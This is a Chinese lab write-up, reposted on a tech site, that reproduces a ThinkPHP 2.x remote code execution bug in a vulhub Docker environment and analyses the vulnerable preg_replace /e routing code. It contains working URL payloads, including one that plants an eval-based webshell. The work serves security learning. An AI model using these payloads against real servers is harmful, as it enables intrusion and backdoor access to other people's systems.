• 首页 首页 icon
  • 工具库 工具库 icon
    • IP查询 IP查询 icon
  • 内容库 内容库 icon
    • 快讯库 快讯库 icon
    • 精品库 精品库 icon
    • 问答库 问答库 icon
  • 更多 更多 icon
    • 服务条款 服务条款 icon

vulhub漏洞复现Thinkphp 2.x 任意代码执行

武飞扬头像
RexHarrr
帮助1

一、漏洞详情

影响版本 thinkphp 2.x
但是由于thinkphp 3.0版本在Lite模式下没有修复该漏洞,所以也存在该漏洞

漏洞原因:

e 和 /e模式匹配路由:
e 配合函数preg_replace()使用, 可以把匹配来的字符串当作正则表达式执行;
/e 可执行模式,此为PHP专有参数,例如preg_replace函数。

再看看preg_replace这个函数

preg_replace('正则规则','替换字符','目标字符')

就是讲目标字符根据正则规则替换成替换字符

当preg_replace使用了/e模式,可以导致代码执行。该函数的正则规则和目标字符可以由用户进行输入。preg_replace 函数在匹配到符号正则的字符串时,会将替换字符(第二个参数)当做代码来执行。

举个例子

  1.  
    官方 payload 为 /?.*={${phpinfo()}} ,即 GET 方式传入的参数名为 /?.* ,值为 {${phpinfo()}}
  2.  
    原先的语句: preg_replace('/(' . $re . ')/ei', 'strtolower("\\1")', $str);
  3.  
    变成了语句: preg_replace('/(.*)/ei', 'strtolower("\\1")', {${phpinfo()}});

最终strtolower("\\1")被执行,相当于 eval(‘strtolower(“\1”);’) 。

strtolower():把所有字符转换为小写

也就是结果是\1,而\1在正则表达式中指定的是第一个子匹配项,phpinfo()就会被成功执行

在ThinkPHP ThinkPHP 2.x版本中,使用preg_replace的/e模式匹配路由:

$res = preg_replace('@(\w )'.$depr.'([^'.$depr.'\/] )@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));

导致用户的输入参数被插入双引号中执行,造成任意代码执行漏洞。

二、复现过程

  1. 搭建docker环境

docker-compose up -d
学新通
  1. 写入phpinfo

http://192.168.239.128:8080/index.php?s=/index/index/xxx/${@phpinfo()}
学新通
  1. 写入一句话木马

http://192.168.239.128:8080/index.php?s=/index/index/name/${@print(eval($_POST[cmd]))}
学新通

报错但是已经写进去了

学新通

连接成功

学新通
  1. 代码分析

复现是完成了,但是那个payload是怎么构造出来的呢

  1.  
    // 分析PATHINFO信息
  2.  
     
  3.  
    self::getPathInfo();
  4.  
     
  5.  
     
  6.  
    if(!self::routerCheck()){ // 检测路由规则 如果没有则按默认规则调度URL
  7.  
     
  8.  
    $paths = explode($depr,trim($_SERVER['PATH_INFO'],'/'));
  9.  
     
  10.  
    $var = array();
  11.  
     
  12.  
    if (C('APP_GROUP_LIST') && !isset($_GET[C('VAR_GROUP')])){
  13.  
     
  14.  
    $var[C('VAR_GROUP')] = in_array(strtolower($paths[0]),explode(',',strtolower(C('APP_GROUP_LIST'))))? array_shift($paths) : '';
  15.  
     
  16.  
    if(C('APP_GROUP_DENY') && in_array(strtolower($var[C('VAR_GROUP')]),explode(',',strtolower(C('APP_GROUP_DENY'))))) {
  17.  
     
  18.  
    // 禁止直接访问分组
  19.  
     
  20.  
    exit;
  21.  
     
  22.  
    }
  23.  
     
  24.  
    }
  25.  
     
  26.  
    if(!isset($_GET[C('VAR_MODULE')])) {// 还没有定义模块名称
  27.  
     
  28.  
    $var[C('VAR_MODULE')] = array_shift($paths);
  29.  
     
  30.  
    }
  31.  
     
  32.  
    $var[C('VAR_ACTION')] = array_shift($paths);
  33.  
     
  34.  
    // 解析剩余的URL参数
  35.  
     
  36.  
    $res = preg_replace('@(\w )'.$depr.'([^'.$depr.'\/] )@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));
  37.  
     
  38.  
    $_GET = array_merge($var,$_GET);
  39.  
     
  40.  
    }
学新通
$res = preg_replace('@(\w )'.$depr.'([^'.$depr.'\/] )@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));

意味着每次会取出两个参数,第一个参数作为var数组的下标,第二个参数作为该下标数组的值(也就是只要你的代码放在偶数位就会被当成数组的值执行)

if(!isset($_GET[C('VAR_MODULE')])) {// 还没有定义模块名称
$var[C('VAR_MODULE')] = array_shift($paths);
}
$var[C('VAR_ACTION')] = array_shift($paths);

当数组$var在路径存在模块和动作时,会去除掉前2个值,所以我们构造的payload的数组的值需要大于2且想要执行的代码需要放在偶数位。

故可以构造payload:

/index.php?s=a/b/c/${phpinfo()}
/index.php?s=a/b/c/${phpinfo()}/c/d/e/f
/index.php?s=a/b/c/d/e/${phpinfo()}
……

至于s是怎么来的:

ThinkPHP5.1在没有定义路由的情况下典型的URL访问规则是:
http://serverName/index.php(或者其它应用入口文件)/模块/控制器/操作/[参数名/参数值…]

如果不支持PATHINFO的服务器可以使用兼容模式访问如下:
http://serverName/index.php(或者其它应用入口文件)?s=/模块/控制器/操作/[参数名/参数值…]

这篇文章写的非常详细,我也就是照猫画虎,理解最重要。

https://www.freebuf.com/column/223149.html

三、总结

为什么${}会执行?在PHP当中,${}是可以构造一个变量的,{}写的是一般的字符,那么就会被当成变量,比如${a}等价于$a,那如果{}写的是一个已知函数名称,那么这个函数就会被执行。

希望能从漏洞复现中学习到挖漏洞的思路和技巧,不知道什么时候才能真真正正地有自己挖洞的实力了嗨嗨害。

学习新思想,争做新青年。

每天给自己来碗鸡汤。

这篇好文章是转载于:学新通技术网

  • 版权申明: 本站部分内容来自互联网,仅供学习及演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系,请提供相关证据及您的身份证明,我们将在收到邮件后48小时内删除。
  • 本站站名: 学新通技术网
  • 本文地址: /boutique/detail/tanhgbhhfi
系列文章
更多 icon
同类精品
更多 icon
继续加载